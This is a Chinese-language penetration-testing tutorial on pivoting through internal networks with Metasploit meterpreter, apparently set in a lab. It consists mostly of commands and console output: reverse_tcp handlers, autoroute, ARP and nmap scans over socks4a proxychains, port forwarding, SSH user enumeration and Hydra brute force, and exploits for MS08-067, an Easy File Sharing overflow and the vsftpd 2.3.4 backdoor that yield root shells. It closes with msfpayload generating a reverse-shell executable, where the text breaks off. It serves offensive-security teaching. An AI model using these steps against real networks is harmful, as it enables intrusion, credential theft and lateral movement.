  11. 0x01 meterpreter多级内网代理穿透 1.Pivoting 基本上可以概括为,在正常情况下仅仅只是通过利用被控制的计算机我们可能依旧无法进行网络访问。假设一台被控制的计算机连接有多个网络,将其作为我们的跳板,那么网络隔离的手段对我们来说就形同虚设。跟着这个思路,攻击者在被控制的跳板主机上执行路由操作,进而访问隐藏的网络。对新发现网络发起的每个请求都会通过中间的双网卡跳板传输,形象化一点说来就像是洞子一般。 就如上面所示的拓扑图,设备有两张网卡可访问192.168.1.0/24以及192.168.10.0/24两个网络。在正常情况下,这两个网络之间是不能相互访问的,除非有定义路由规则。根据该结构,授权用户(使用两张网卡的计算机)可访问DMZ区内的一些服务。 2.第一层双网卡中转跳板及端口转发 根据我们的攻击场景,先拿下命名为RD的主机然后获取到的meterpreter shell,RD能连接到DMZ网络。随后,在信息收集过程中确定了目标有两张网卡。注意:环境中的路由器在两个网络之间并没有联通。 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0 在我们设计的这个场景中,获得RD系统访问权限的攻击者将会使用第二张网卡(7.7.7.0/24)访问网络。在执行这项操作之前,攻击者必须先在RD中定义路由规则。 在Metasploit中可以轻松完成这项任务,在当前meterpreter会话下键入以下命令可创建路由规则: meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0255.255.255.0 Session 2 meterpreter > 根据定义的路由规则,只要meterpreter ID值为2的会话在运行,那么在Metasploit框架中就可以访问7.7.7.0/24网络。 这一步骤之后,使用类似arp_scanner的端口模块就能检测到JC系统的IP地址。JC为7.7.7.20内网中的另一台计算机。 meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*]IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*]IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUSCIMPUTER SYSTEMS) [*]IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*]IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > 在7.7.7.0/24网络中存活系统的IP地址,包括命名为JC的系统主机,都已经检测到了。 自然而然的,我们想到了以下问题:诸如arp_scanner的端口模块对这类扫描工作可能存在着不足之处,那么nmap风格的扫描工具是否能登场呢? 3.中转跳板Nmap扫描 对此必须在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。这里有一个metasploit模块刚好满足以上需求。 使用metasploit的socks4代理模块: meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting RequiredDescription ---- --------------- ------------------- SRVHOST 0.0.0.0yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost =>172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep1080 [*] exec: netstat -antp | grep1080 tcp 0172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby msf auxiliary(socks4a) > ProxyChains是为GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4, SOCKS5, HTTP / HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提供匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行直接通信。 用文本编辑器打开/etc/proxychains.conf,在文件的最后一行添加新创建的socks4代理服务器 ---snippet--- [ProxyList] # addproxyhere ... # meanwile # defaultssetto "tor" #socks4 127.0.0.1 9050 socks4 172.16.0.20 1080 使用proxychains执行nmap扫描任务非常简单,网络数据包将会通过定义的代理发送到目的地。 root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORTSTATE SERVICE VERSION 22/tcpopen ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcpclosed http Easy File Sharing Web Server httpd 6.9 135/tcpopen msrpc Microsoft Windows RPC 139/tcpopen netbios-ssn Microsoft Windows netbios-ssn 445/tcpopen microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: |VULNERABLE: |Microsoft Windows system vulnerable to remote code execution (MS08-067) |State: VULNERABLE |IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | |Disclosure date: 2008-10-23 |References: |https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# 根据扫描的结果,目标系统中运行着SSH以及HTTP服务。在进一步利用之前,我们还将涉及另一种被称之为端口转发的通信路由(traffic routing)技术。 4.端口转发 端口转发是实现中转跳板的基本步骤,目前还无法直接访问到隐藏网络中的服务,这是因为没有建立双向路由。我们知道如何到达目标系统,所以可以发起请求。但这个请求会失败,这是因为目标系统不知道如何到达我们这边。 基于这个原因,我们可以通过定义meterpreter会话在我们的本地开启一个端口,将本地数据包发送到目的地。只要进程存活,路由就会一直工作。 再此须谨记,run autoroute命令建立的路由仅在Metasploit框架下有效,我们也可以尝试使用kali工具实现目的,这里我们就要借助类似端口转发的工具或是proxychains。 使用portfwd模块(Metasploit中的一个post模块)可完成端口转发 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter > 当我们在浏览器中向本地2323端口发送一个链接请求时,该连接请求将会转发到IP地址为7.7.7.20的计算机的80端口。 得益于ProxyChains和Nmap,早先我们就已经确定了web服务运行在7.7.7.20的80端口。为了访问这个服务,本地系统的2323端口将被转发到7.7.7.20的80端口 meterpreter > portfwdadd-L 172.16.0.20-l 2323 -p 80 -r 7.7.7.20 [*]LocalTCPrelaycreated: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter > 通过portfwd list命令可以查看当前活跃的端口转发规则: meterpreter > portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80Forward 1 total active port forwards. meterpreter > 检测到IP地址为7.7.7.20目标系统的80端口上运行着名为Eash File Sharing Web Server的应用 5中转跳板SSH暴力破解 正如你看到的,我们检测到的7.7.7.20上有一个ssh服务。对该服务进行暴力破解十分简便。我们可以使用SSH_enumusers这个辅助模块来完成这项工作: msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking forfalse positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root'not found [-] 7.7.7.20:22 - SSH - User 'Administrator'not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech'not found [-] 7.7.7.20:22 - SSH - User 'operator'not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security'not found [-] 7.7.7.20:22 - SSH - User 'debug'not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service'not found [-] 7.7.7.20:22 - SSH - User '!root'not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman'not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag'not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager'not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc'not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin'not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm'not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen'not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup'not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable'not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login'not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > 除了Metasploit框架中的辅助模块外,Kali工具包中的Hydra也可以完成这项任务。通过在ProxyChains下运行Hydra,所有的通信数据将会通过被控制的主机(双网卡主机)传送到目标系统上。 root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20 login: admin password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# 使用Hydra执行brute-force攻击,我们获得代理服务器的用户名为admin,密码为123456。同时使用ProxyChains工具可以连接到远程的SSH服务 root@kali:~# proxychains ssh [email protected] ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. [email protected]'s password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24 21:32<DIR> Application Data 2016-12-25 06:16<DIR> Desktop 2016-12-24 18:36<DIR> Documents 2016-12-24 18:37<DIR> DRM 2016-12-24 21:32<DIR> Favorites 2016-12-24 18:38<DIR> Start Menu 2016-12-24 21:32<DIR> Templates 0 Files 0 bytes 7 Directories bvshell:/C/Documents and Settings/All Users$ 6.获取第二层中转跳板访问 如果你还记得,我们之前使用nmap扫描7.7.7.0/24找到了两个漏洞。一个是MS08-067,另一个是Easy File Share应用中的BOF漏洞,这两个方向都能让我们访问到目标主机。当然还有一个选择便是继续使用上面获取到的ssh进行访问,但这里我们选择以上两个方向。 (1)MS08-067搭配Bind TCP 该模块的完整路径为exploit/windows/smb/ms08_067_netapi,在Metasploit框架下利用MS08-067漏洞攻击目标系统。由于没有定义双向路由,目标系统无法直接到达我们的计算机,为此需要将bind_tcp设置为payload类型。在exploit操作成功之后,就将要对连接到目标系统的端口进行监听。bind_tcp和reverse_tcp的区别如下图: 完整设置如下: msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting RequiredDescription ---- --------------- ------------------- RHOST yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost =>7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting RequiredDescription ---- --------------- ------------------- RHOST 7.7.7.20 yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting RequiredDescription ---- --------------- ------------------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 7.7.7.20 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter > (2)Easy File Share应用的BoF漏洞 另一个漏洞就是有关于Easy File Share应用的了。可通过以下步骤进行设置 msf> use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh): Name Current Setting RequiredDescription ---- --------------- ------------------- RHOST yes The target address RPORT 80 yes The target port Exploit target: Id Name -- ---- 0 Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter > 攻击流程如下图 由于我们可以访问到7.7.7.20机器,我们需要再次执行信息收集。被命名为JC的机器和RD机器一样有两张网卡,这也意味着我们找到了第二个隐藏网络(8.8.8.0/24) meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 在第二个隐藏网络下执行Arp扫描继续收集信息 meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running moduleagainstSRV03 [*] ARP Scanning 8.8.8.0/24 [*]IP:8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*]IP:8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*]IP:8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*]IP:8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) ARP扫描结果显示在该网络下存在4台机器 meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0255.255.255.0 Session 1 8.8.8.0255.255.255.0 Session 3 之后再次添加路由规则 7.两层转跳板 在JC主机上收集信息时发现了8.8.8.0/24网络,另外之前我们就已经建立了172.16.0.0/24到7.7.7.0/24网络的路由规则。 在当前的情况下,网络数据包从172.16.0.20发到JC设备(第二层中转跳板),数据首先要发到RD设备(第一层中转跳板),然后RD主机再将数据传送到JC主机。如果攻击者(172.16.0.20)想将数据发送到8.8.8.0/24网络(发现的第二个隐藏网络)的任何一个主机时,就得建立一个新的路由规则。为了使用Metasploit框架以外的其他工具,我们必须运行一个socks4代理服务来连接两个跳板主机,并在proxychains工具的配置文件中重新定义新的代理服务器。 攻击者机器(172.16.0.20)尝试向8.8.8.9发送网络数据包,要经过以下中转: ·RD:我不知道怎么访问到8.8.8.9,但我知道哪个系统能访问到它,我可以将数据发给它。 ·JC:我知道怎么将数据从7.7.7.0/24网络发送到8.8.8.0/24网络。 数据流如下图所示: 8.Proxychains Proxychains工具负责连接代理服务器以及端对端的传输。在最后阶段,需要为新发现的8.8.8.0/24网络在本地1081端口设置一个新的socks4代理服务。 msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting RequiredDescription ---- --------------- ------------------- SRVHOST 172.16.0.20 yesThe address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > 在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置,确保在不同的代理服务器之间能够正常切换。 root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4172.16.0.201080 # First Pivot socks4172.16.0.201081 # Second Pivot Proxychains工具通过第二层跳板主机,可以对8.8.8.0/24目标网络进行nmap扫描: root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORTSTATE SERVICE REASON VERSION 21/tcp openftp syn-ack vsftpd 2.3.4 22/tcp openssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp opentelnet syn-ack Linux telnetd 80/tcp openhttp syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# 以上,数据包穿透第一层代理服务器,又经过我们定义的第二层代理服务器,最终到达目的地。对扫描结果进行分析,发现8.8.8.9上安装的vsftpd版本存在漏洞。以下步骤为在Metasploit框架中设置vsftpd利用模块进行攻击: msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting RequiredDescription ---- --------------- ------------------- RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICASTMTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 loLink encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB) 9.代理总结 攻击者通过以下步骤,发现了2个不同的隐藏网络: 1.攻击者控制了RD主机,该主机和攻击机在同一个网络中 2.得知RD主机有2张网卡 3.通过使用autoroute post模块,定义一个路由规则 4.攻击者对7.7.7.0/24网络执行ARP和NMAP扫描,之后发现了命名为JC的主机 5.JC存在两个不同的漏洞,分别为MS08_067和Easy File Share应用的BOF漏洞 6.成功利用MS08_067漏洞,获取7.7.7.20访问 7.继续收集信息,发现JC也有2张网卡 8.在7.7.7.20上添加第二个路由规则 9.对8.8.8.0/24网络执行ARP和NMAP扫描 10.在命名为SK的8.8.8.9机器上发现存在漏洞的vsftp版本 11.结束 0x02 meterpreter下的socks4代理 1.获取内网基本网络信息 首先,假设我们已经获取了目标系统的一个meterpreter会话,然后,我们发现在该目标机器上存在内网段,此时,我们想继续对目标该内网进行渗透,然后就有了下面的一些内容 2.添加内网路由信息 meterpreter中添加好通向对方内网的路由 meterpreter > run autoroute -s 192.168.244.0/24 meterpreter > route flush //不用的时候,记得删掉就行 run post/windows/gather/arp_scanner RHOSTS=192.168.244.0/24 //我们可以先通过arp扫描粗略的扫一眼目标内网的机器大概有多少 3.通过scok4a进行内网代理 我们就可以利用msf的sock4a模块对目标内网进行socks4代理,其实,这个代理通道本身是通过meterpreter隧道建立的,需要注意的是socks是代理不了偏底层的协议的,它最多只能在tcp这一层往上[这里不妨先好好了解下socks协议本身],再往下走,比如,icmp和arp就不太好使了,感觉很多地方写东西都不怎么负责任,有些误导,听那感觉,好像socks代理进去以后就什么都能搞了一样,是的,如果只是单单基于tcp往上的通信确实是可行的,但比如像arp嗅探这种呢,个人就不敢苟同了,稍微有点儿常识的人都知道,arp直接是基于网卡的,而我们的socks代理,并不像vpn,在系统中并没有一个实实在在的网卡接口……好了,说到这里想必大家已经很清楚了,就不再多扯了,别跑题,咱们继续 msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > set srvhost 127.0.0.1 msf auxiliary(socks4a) > set srvport 1080 msf auxiliary(socks4a) > run 4.通过proxychains进行内网代理扫描 在proxychians.conf中设置好代理,就可以对目标进行正常的内网渗透了,到这里想必大家都应熟悉该怎么搞了 # vi /etc/proxychains.conf # proxychains hydra -l root -P pass.txt -f -t 20 ssh://192.168.244.132 0x03 meterpreter基本隧道代理 1.获取目标主机shell root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.101.105 LPORT=444 X > meter.exe [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 281 Options: 